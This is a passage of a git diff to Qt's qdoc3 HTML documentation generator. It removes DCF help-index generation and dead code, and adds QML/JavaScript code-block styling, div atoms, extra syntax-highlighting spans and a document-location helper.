dcfExamplesRoot.ref = "examples.html"; - dcfExamplesRoot.title = "Tutorial & Examples"; - qSort(dcfExamplesRoot.subsections); - - DcfSection qtRoot; - appendDcfSubSection(&qtRoot, dcfClassesRoot); - appendDcfSubSection(&qtRoot, dcfOverviewsRoot); - appendDcfSubSection(&qtRoot, dcfExamplesRoot); - - generateDcf(project.toLower().simplified().replace(" ", "-"), - "index.html", - projectDescription, qtRoot); - generateDcf("designer", - "designer-manual.html", - "Qt Designer Manual", - dcfDesignerRoot); - generateDcf("linguist", - "linguist-manual.html", - "Qt Linguist Manual", - dcfLinguistRoot); - generateDcf("assistant", - "assistant-manual.html", - "Qt Assistant Manual", - dcfAssistantRoot); - generateDcf("qmake", - "qmake-manual.html", - "qmake Manual", - dcfQmakeRoot); + PageGenerator::generateTree(tree); QString fileBase = project.toLower().simplified().replace(" ", "-"); generateIndex(fileBase, projectUrl, projectDescription); - generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); + generatePageIndex(outputDir() + "/" + fileBase + ".pageindex"); helpProjectWriter->generate(myTree); } @@ -517,24 +464,33 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "</p>\n"; break; case Atom::C: + // This may at one time have been used to mark up C++ code but it is + // now widely used to write teletype text. As a result, text marked + // with the \c command is not passed to a code marker. out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE]; if (inLink) { out() << protectEnc(plainCode(atom->string())); } else { - out() << highlightedCode(atom->string(), marker, relative); + out() << protectEnc(plainCode(atom->string())); } out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; case Atom::Code: - out() << "<pre class=\"highlightedCode brush: cpp\">" + out() << "<pre class=\"cpp\">" << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), marker,relative)) << "</pre>\n"; break; #ifdef QDOC_QML case Atom::Qml: - out() << "<pre class=\"highlightedCode brush: cpp\">" + out() << "<pre class=\"qml\">" + << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), + marker,relative)) + << "</pre>\n"; + break; + case Atom::JavaScript: + out() << "<pre class=\"js\">" << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), marker,relative)) << "</pre>\n"; @@ -542,7 +498,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, #endif case Atom::CodeNew: out() << "<p>you can rewrite it as</p>\n" - << "<pre class=\"highlightedCode brush: cpp\">" + << "<pre class=\"cpp\">" << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()), marker,relative)) << "</pre>\n"; @@ -551,10 +507,17 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "<p>For example, if you have code like</p>\n"; // fallthrough case Atom::CodeBad: - out() << "<pre class=\"highlightedCode brush: cpp\">" + out() << "<pre class=\"cpp\">" << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string())))) << "</pre>\n"; break; + case Atom::Div: + out() << "<div"; + if (!atom->string().isEmpty()) + out() << " class=\"" << atom->string() << "\">"; + else + out() << ">"; + break; case Atom::FootnoteLeft: // ### For now if (in_para) { @@ -1062,26 +1025,8 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << atom->string(); break; case Atom::SectionLeft: -#if 0 - { - int nextLevel = atom->string().toInt(); - if (sectionNumber.size() < nextLevel) { - do { - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - out() << "<a name=\"sec-" << sectionNumber.join("-") << "\"></a>" << divNavTop << "\n"; - } -#else out() << "<a name=\"" << Doc::canonicalTitle(Text::sectionHeading(atom).toString()) << "\"></a>" << divNavTop << "\n"; -#endif break; case Atom::SectionRight: break; @@ -1180,33 +1125,6 @@ int HtmlGenerator::generateAtom(const Atom *atom, skipAhead = 1; break; case Atom::TableOfContents: - { - int numColumns = 1; - const Node *node = relative; - - Doc::SectioningUnit sectioningUnit = Doc::Section4; - QStringList params = atom->string().split(","); - QString columnText = params.at(0); - QStringList pieces = columnText.split(" ", QString::SkipEmptyParts); - if (pieces.size() >= 2) { - columnText = pieces.at(0); - pieces.pop_front(); - QString path = pieces.join(" ").trimmed(); - node = findNodeForTarget(path, relative, marker, atom); - } - - if (params.size() == 2) { - numColumns = qMax(columnText.toInt(), numColumns); - sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt(); - } - - if (node) - generateTableOfContents(node, - marker, - sectioningUnit, - numColumns, - relative); - } break; case Atom::Target: out() << "<a name=\"" << Doc::canonicalTitle(atom->string()) << "\"></a>"; @@ -1218,6 +1136,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "<b class=\"redFont\"><code>\\" << protectEnc(atom->string()) << "</code></b>"; break; + case Atom::EndDiv: + out() << "</div>"; + break; #ifdef QDOC_QML case Atom::QmlText: case Atom::EndQmlText: @@ -1258,11 +1179,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, title = rawTitle + " Class Reference"; } - DcfSection classSection; - classSection.title = title; - classSection.ref = linkForNode(inner, 0); - classSection.keywords += qMakePair(inner->name(), classSection.ref); - Text subtitleText; if (rawTitle != fullTitle) subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" @@ -1425,8 +1341,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, names << plainCode(marker->markedUpEnumValue(enumName, enume)); } - foreach (const QString &name, names) - classSection.keywords += qMakePair(name,linkForNode(*m,0)); } ++m; } @@ -1435,39 +1349,15 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, ++s; } generateFooter(inner); - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&classSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&classSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&classSection, compatSection); - } - - appendDcfSubSection(&dcfClassesRoot, classSection); } /*! - Generate the html page for a qdoc file that doesn't map - to an underlying c++ file. + Generate the HTML page for a qdoc file that doesn't map + to an underlying C++ file. */ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { SubTitleSize subTitleSize = LargeSubTitle; - DcfSection fakeSection; - fakeSection.title = fake->fullTitle(); - fakeSection.ref = linkForNode(fake, 0); QList<Section> sections; QList<Section>::const_iterator s; @@ -1481,6 +1371,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) else if (fake->subType() == Node::QmlBasicType) { fullTitle = "QML Basic Type: " + fullTitle; htmlTitle = fullTitle; + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } generateHeader(htmlTitle, fake, marker); @@ -1494,6 +1387,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) qml_cn = static_cast<const QmlClassNode*>(fake); sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); generateTableOfContents(fake,marker,§ions); + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } else if (fake->name() != QString("index.html")) generateTableOfContents(fake,marker,0); @@ -1547,25 +1443,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) << "Qt 3 support members</a></li>\n"; out() << "</ul>\n"; - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&fakeSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&fakeSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&fakeSection, compatSection); - } } #ifdef QDOC_QML else if (fake->subType() == Node::QmlClass) { @@ -1608,8 +1485,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) while (m != (*s).members.end()) { generateDetailedQmlMember(*m, fake, marker); out() << "<br/>\n"; - fakeSection.keywords += qMakePair((*m)->name(), - linkForNode(*m,0)); ++m; } ++s; @@ -1618,7 +1493,7 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) return; } #endif - + sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1654,8 +1529,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) generateAnnotatedList(fake, marker, groupMembersMap); } - fakeSection.keywords += qMakePair(fakeSection.title, fakeSection.ref); - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1665,35 +1538,11 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) NodeList::ConstIterator m = (*s).members.begin(); while (m != (*s).members.end()) { generateDetailedMember(*m, fake, marker); - fakeSection.keywords += qMakePair((*m)->name(), linkForNode(*m, 0)); ++m; } ++s; } generateFooter(fake); - - if (fake->subType() == Node::Example) { - appendDcfSubSection(&dcfExamplesRoot, fakeSection); - } - else if (fake->subType() != Node::File) { - QString contentsPage = fake->links().value(Node::ContentsLink).first; - - if (contentsPage == "Qt Designer Manual") { - appendDcfSubSection(&dcfDesignerRoot, fakeSection); - } - else if (contentsPage == "Qt Linguist Manual") { - appendDcfSubSection(&dcfLinguistRoot, fakeSection); - } - else if (contentsPage == "Qt Assistant Manual") { - appendDcfSubSection(&dcfAssistantRoot, fakeSection); - } - else if (contentsPage == "qmake Manual") { - appendDcfSubSection(&dcfQmakeRoot, fakeSection); - } - else { - appendDcfSubSection(&dcfOverviewsRoot, fakeSection); - } - } } /*! @@ -1787,94 +1636,35 @@ void HtmlGenerator::generateHeader(const QString& title, out() << QString("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"%1\" lang=\"%1\">\n").arg(naturalLanguage); out() << "<head>\n"; out() << " <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n"; - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; if (node && !node->doc().location().isEmpty()) out() << "<!-- " << node->doc().location().fileName() << " -->\n"; - shortVersion = myTree->version(); + QString shortVersion = myTree->version(); if (shortVersion.count(QChar('.')) == 2) shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); - if (!shortVersion.isEmpty()) { - if (project == "QSA") - shortVersion = "QSA " + shortVersion + ": "; - else - shortVersion = "Qt " + shortVersion + ": "; - } + if (!project.isEmpty()) + shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": "); + else + shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": "); // Generating page title out() << " <title>" << shortVersion << protectEnc(title) << "</title>\n"; - // Adding style sheet - out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n"; - // Adding jquery and functions - providing online tools and search features - out() << " <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n"; - out() << " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n"; - - - // Adding syntax highlighter // future release - - // Setting some additional style sheet related details depending on configuration (e.g. Online/Creator) - - switch (application) { - case Online: - // Adding style and js for small windows - out() << " <script src=\"./scripts/superfish.js\" type=\"text/javascript\"></script>\n"; - out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />"; - out() << " <script src=\"./scripts/narrow.js\" type=\"text/javascript\"></script>\n"; - out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n"; - // Browser spec styles - out() << " <!--[if IE]>\n"; - out() << "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n"; - out() << "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n"; - out() << "<![endif]-->\n"; - out() << "<!--[if lt IE 7]>\n"; - out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n"; - out() << "<![endif]-->\n"; - out() << "<!--[if IE 7]>\n"; - out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n"; - out() << "<![endif]-->\n"; - out() << "<!--[if IE 8]>\n"; - out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n"; - out() << "<![endif]-->\n"; - - out() << "</head>\n"; - // CheckEmptyAndLoadList activating search - out() << "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n"; - break; - case Creator: - out() << "</head>\n"; - out() << "<body class=\"offline narrow creator\">\n"; // offline narrow - break; - default: - out() << "</head>\n"; - out() << "<body>\n"; - break; - } + + // Include style sheet and script links. + out() << headerStyles; + out() << headerScripts; + out() << endHeader; #ifdef GENERATE_MAC_REFS if (mainPage) generateMacRef(node, marker); #endif - switch (application) { - case Online: - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - case Creator: - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - default: // default -- not used except if one forgets to set any of the above settings to true - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - } + out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); + generateBreadCrumbs(title,node,marker); + out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - navigationLinks.clear(); + navigationLinks.clear(); if (node && !node->links().empty()) { QPair<QString,QString> linkPair; @@ -1960,30 +1750,8 @@ void HtmlGenerator::generateFooter(const Node *node) out() << QString(footer).replace("\\" + COMMAND_VERSION, myTree->version()) << QString(address).replace("\\" + COMMAND_VERSION, myTree->version()); - switch (application) { - case Online: - out() << " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n"; - out() << " <script type=\"text/javascript\">\n"; - out() << " var _gaq = _gaq || [];\n"; - out() << " _gaq.push(['_setAccount', 'UA-4457116-5']);\n"; - out() << " _gaq.push(['_trackPageview']);\n"; - out() << " (function() {\n"; - out() << " var ga = document.createElement('script'); "; - out() << "ga.type = 'text/javascript'; ga.async = true;\n"; - out() << " ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + "; - out() << "'.google-analytics.com/ga.js';\n"; - out() << " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n"; - out() << " })();\n"; - out() << " </script>\n"; - out() << "</body>\n"; - break; - case Creator: - out() << "</body>\n"; - break; - default: - out() << "</body>\n"; - } - out() << "</html>\n"; + out() << "</body>\n"; + out() << "</html>\n"; } void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, @@ -2009,7 +1777,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "<pre class=\"highlightedCode brush: cpp\">" + out() << "<pre class=\"cpp\">" << trimmedTrailing(highlightedCode(indent(codeIndent, marker->markedUpIncludes(inner->includes())), marker,inner)) @@ -2018,91 +1786,6 @@ void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) } /*! - Generates a table of contents beginning at \a node. - */ -void HtmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) - -{ - return; - if (!node->doc().hasTableOfContents()) - return; - QList<Atom *> toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - QString tdTag; - if (numColumns > 1) { - tdTag = "<td>"; /* width=\"" + QString::number((100 + numColumns - 1) / numColumns) + "%\">";*/ - out() << "<table class=\"toc\">\n<tr class=\"topAlign\">" - << tdTag << "\n"; - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - out() << "<ul>"; - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - out() << "</ul>\n"; - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - int numAtoms; - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - out() << "</ul></td>" << tdTag << "<ul>\n"; - columnSize = 0; - } - out() << "<li>"; - out() << "<a href=\"" - << nodeName - << "#" - << Doc::canonicalTitle(headingText.toString()) - << "\">"; - generateAtomList(headingText.firstAtom(), node, marker, true, numAtoms); - out() << "</a></li>\n"; - - ++columnSize; - } - while (!sectionNumber.isEmpty()) { - out() << "</ul>\n"; - sectionNumber.removeLast(); - } - - if (numColumns > 1) - out() << "</td></tr></table>\n"; - - inContents = false; - inLink = false; -} - -/*! Revised for the new doc format. Generates a table of contents beginning at \a node. */ @@ -2219,39 +1902,6 @@ void HtmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -#if 0 -void HtmlGenerator::generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker) -{ - if (bar.prev.begin() != 0 || bar.current.begin() != 0 || - bar.next.begin() != 0) { - out() << "<p class=\"rightAlign\">"; - if (bar.prev.begin() != 0) { -#if 0 - out() << "[<a href=\"" << section.previousBaseName() - << ".html\">Prev: "; - generateText(section.previousHeading(), node, marker); - out() << "</a>]\n"; -#endif - } - if (fake->name() != QString("index.html")) { - if (bar.current.begin() != 0) { - out() << "[<a href=\"" << "home" - << ".html\">Home</a>]\n"; - } - if (bar.next.begin() != 0) { - out() << "[<a href=\"" << fileBase(node, bar.next) - << ".html\">Next: "; - generateText(Text::sectionHeading(bar.next.begin()), node, marker); - out() << "</a>]\n"; - } - out() << "</p>\n"; - } - } -} -#endif - QString HtmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker) { @@ -2421,7 +2071,7 @@ void HtmlGenerator::generateClassHierarchy(const Node *relative, NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { @@ -3111,8 +2761,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)" bool done = false; for (int i = 0, srcSize = src.size(); i < srcSize;) { - if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { - if (alignNames && !done) {// && (i != 0)) Why was this here? + if (src.at(i) == charLangle && src.at(i + 1) == charAt) { + if (alignNames && !done) { html += "</td><td class=\"memItemRight bottomAlign\">"; done = true; } @@ -3135,31 +2785,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } - if (slow) { - // is this block ever used at all? - // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)" - src = html; - html = QString(); - for (int i = 0, srcSize = src.size(); i < srcSize;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) { - const Node* n = marker->resolveTarget(par1.toString(), - myTree, - relative); - QString link = linkForNode(n, relative); - addLink(link, arg, &html); - par1 = QStringRef(); - } - else { - html += charLangle; - html += charAt; - } + // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)" + src = html; + html = QString(); + for (int i = 0, srcSize = src.size(); i < srcSize;) { + if (src.at(i) == charLangle && src.at(i + 1) == charAt) { + i += 2; + if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) { + const Node* n = marker->resolveTarget(par1.toString(), + myTree, + relative); + QString link = linkForNode(n, relative); + addLink(link, arg, &html); + par1 = QStringRef(); } else { - html += src.at(i++); + html += charLangle; + html += charAt; } } + else { + html += src.at(i++); + } } // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags @@ -3173,6 +2820,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) { par1 = QStringRef(); const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self); + html += QLatin1String("<span class=\"type\">"); if (n && n->subType() == Node::QmlBasicType) { if (relative && relative->subType() == Node::QmlClass) addLink(linkForNode(n,relative), arg, &html); @@ -3181,6 +2829,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } else addLink(linkForNode(n,relative), arg, &html); + html += QLatin1String("</span>"); handled = true; } else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) { @@ -3211,23 +2860,40 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, // "<@preprocessor>" -> "<span class=\"preprocessor\">"; // "<@string>" -> "<span class=\"string\">"; // "<@char>" -> "<span class=\"char\">"; - // "</@(?:comment|preprocessor|string|char)>" -> "</span>" + // "<@number>" -> "<span class=\"number\">"; + // "<@op>" -> "<span class=\"operator\">"; + // "<@type>" -> "<span class=\"type\">"; + // "<@name>" -> "<span class=\"name\">"; + // "<@keyword>" -> "<span class=\"keyword\">"; + // "</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>" -> "</span>" src = html; html = QString(); static const QString spanTags[] = { - "<@comment>", "<span class=\"comment\">", - "<@preprocessor>", "<span class=\"preprocessor\">", - "<@string>", "<span class=\"string\">", - "<@char>", "<span class=\"char\">", - "</@comment>", "</span>", - "</@preprocessor>","</span>", - "</@string>", "</span>", - "</@char>", "</span>" + "<@comment>", "<span class=\"comment\">", + "<@preprocessor>", "<span class=\"preprocessor\">", + "<@string>", "<span class=\"string\">", + "<@char>", "<span class=\"char\">", + "<@number>", "<span class=\"number\">", + "<@op>", "<span class=\"operator\">", + "<@type>", "<span class=\"type\">", + "<@name>", "<span class=\"name\">", + "<@keyword>", "<span class=\"keyword\">", + "</@comment>", "</span>", + "</@preprocessor>", "</span>", + "</@string>", "</span>", + "</@char>", "</span>", + "</@number>", "</span>", + "</@op>", "</span>", + "</@type>", "</span>", + "</@name>", "</span>", + "</@keyword>", "</span>", }; + // Update the upper bound of k in the following code to match the length + // of the above array. for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 18; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; @@ -3278,18 +2944,6 @@ void HtmlGenerator::generateLink(const Atom* atom, } inLink = false; out() << protectEnc(atom->string().mid(k)); - } else if (marker->recognizeLanguage("Java")) { - // hack for Java: remove () and use <tt> when appropriate - bool func = atom->string().endsWith("()"); - bool tt = (func || atom->string().contains(camelCase)); - if (tt) - out() << "<tt>"; - if (func) { - out() << protectEnc(atom->string().left(atom->string().length() - 2)); - } else { - out() << protectEnc(atom->string()); - } - out() << "</tt>"; } else { out() << protectEnc(atom->string()); } @@ -3434,29 +3088,6 @@ QString HtmlGenerator::fileBase(const Node *node) const return result; } -#if 0 -QString HtmlGenerator::fileBase(const Node *node, - const SectionIterator& section) -{ - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - QString HtmlGenerator::fileName(const Node *node) { if (node->type() == Node::Fake) { @@ -3544,15 +3175,9 @@ QString HtmlGenerator::linkForNode(const Node *node, const Node *relative) return QString(); fn = fileName(node); -#if 0 - if (!node->url().isEmpty()) - return fn; -#endif +/* if (!node->url().isEmpty()) + return fn;*/ -#if 0 - // ### reintroduce this test, without breaking .dcf files - if (fn != outFileName()) -#endif link += fn; if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { @@ -3811,6 +3436,7 @@ void HtmlGenerator::findAllFunctions(const InnerNode *node) else if ((*c)->type() == Node::Function) { const FunctionNode *func = static_cast<const FunctionNode *>(*c); if ((func->status() > Node::Obsolete) && + !func->isInternal() && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c); @@ -4016,14 +3642,6 @@ QString HtmlGenerator::getLink(const Atom *atom, << (*node)->name() << "no relative"; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { @@ -4044,16 +3662,6 @@ QString HtmlGenerator::getLink(const Atom *atom, return link; } -void HtmlGenerator::generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, - DcfSection &dcfRoot) -{ - dcfRoot.ref = startPage; - dcfRoot.title = title; - generateDcfSections(dcfRoot, outputDir() + "/" + fileBase + ".dcf", fileBase + "/reference"); -} - void HtmlGenerator::generateIndex(const QString &fileBase, const QString &url, const QString &title) @@ -4580,12 +4188,14 @@ void HtmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* n /*! Outputs the file containing the index used for searching the html docs. */ -void HtmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const +void HtmlGenerator::generatePageIndex(const QString& fileName) const { QFile file(fileName); if (!file.open(QFile::WriteOnly | QFile::Text)) return ; + CodeMarker *marker = CodeMarker::markerForFileName(fileName); + QXmlStreamWriter writer(&file); writer.setAutoFormatting(true); writer.writeStartDocument(); @@ -4636,6 +4246,151 @@ void HtmlGenerator::generateExtractionMark(const Node *node, ExtractionMarkType } } +/*! + Returns the full document location for HTML-based documentation. + */ +QString HtmlGenerator::fullDocumentLocation(const Node *node) +{ + if (!node) + return ""; + if (!node->url().isEmpty()) + return node->url(); + + QString parentName; + QString anchorRef; + + if (node->type() == Node::Namespace) { + + // The root namespace has no name - check for this before creating + // an attribute containing the location of any documentation. + + if (!node->fileBase().isEmpty()) + parentName = node->fileBase() + ".html"; + else + return ""; + } + else if (node->type() == Node::Fake) { +#ifdef QDOC_QML + if ((node->subType() == Node::QmlClass) || + (node->subType() == Node::QmlBasicType)) { + QString fb = node->fileBase(); + if (fb.startsWith(Generator::outputPrefix(QLatin1String("QML")))) + return fb + ".html"; + else + return Generator::outputPrefix(QLatin1String("QML")) + node->fileBase() + QLatin1String(".html"); + } else +#endif + parentName = node->fileBase() + ".html"; + } + else if (node->fileBase().isEmpty()) + return ""; + + Node *parentNode = 0; + + if ((parentNode = node->relates())) + parentName = fullDocumentLocation(node->relates()); + else if ((parentNode = node->parent())) { + if (parentNode->subType() == Node::QmlPropertyGroup) { + parentNode = parentNode->parent(); + parentName = fullDocumentLocation(parentNode); + } + else + parentName = fullDocumentLocation(node->parent()); + } + + switch (node->type()) { + case Node::Class: + case Node::Namespace: + if (parentNode && !parentNode->name().isEmpty()) + parentName = parentName.replace(".html", "") + "-" + + node->fileBase().toLower() + ".html"; + else + parentName = node->fileBase() + ".html"; + break; + case Node::Function: + { + /* + Functions can be destructors, overloaded, or + have associated properties. + */ + const FunctionNode *functionNode = + static_cast<const FunctionNode *>(node); + + if (functionNode->metaness() == FunctionNode::Dtor) + anchorRef = "#dtor." + functionNode->name().mid(1); + + else if (functionNode->associatedProperty()) + return fullDocumentLocation(functionNode->associatedProperty()); + + else if (functionNode->overloadNumber() > 1) + anchorRef = "#" + functionNode->name() + + "-" + QString::number(functionNode->overloadNumber()); + else + anchorRef = "#" + functionNode->name(); + } + + /* + Use node->name() instead of node->fileBase() as + the latter returns the name in lower-case. For + HTML anchors, we need to preserve the case. + */ + break; + case Node::Enum: + anchorRef = "#" + node->name() + "-enum"; + break; + case Node::Typedef: + anchorRef = "#" + node->name() + "-typedef"; + break; + case Node::Property: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlProperty: + anchorRef = "#" + node->name() + "-prop"; + break; + case Node::QmlSignal: + anchorRef = "#" + node->name() + "-signal"; + break; + case Node::QmlMethod: + anchorRef = "#" + node->name() + "-method"; + break; + case Node::Variable: + anchorRef = "#" + node->name() + "-var"; + break; + case Node::Target: + anchorRef = "#" + Doc::canonicalTitle(node->name()); + break; + case Node::Fake: + { + /* + Use node->fileBase() for fake nodes because they are represented + by pages whose file names are lower-case. + */ + parentName = node->fileBase(); + parentName.replace("/", "-").replace(".", "-"); + parentName += ".html"; + } + break; + default: + break; + } + + // Various objects can be compat (deprecated) or obsolete. + if (node->type() != Node::Class && node->type() != Node::Namespace) { + switch (node->status()) { + case Node::Compat: + parentName.replace(".html", "-qt3.html"); + break; + case Node::Obsolete: + parentName.replace(".html", "-obsolete.html"); + break; + default: + ; + } + } + + return parentName.toLower() + anchorRef; +} + #endif - QT_END_NAMESPACE +QT_END_NAMESPACE diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 402538f..eed96e7 100644 --- a/tools/qdoc3/htmlgenerator.h +++ 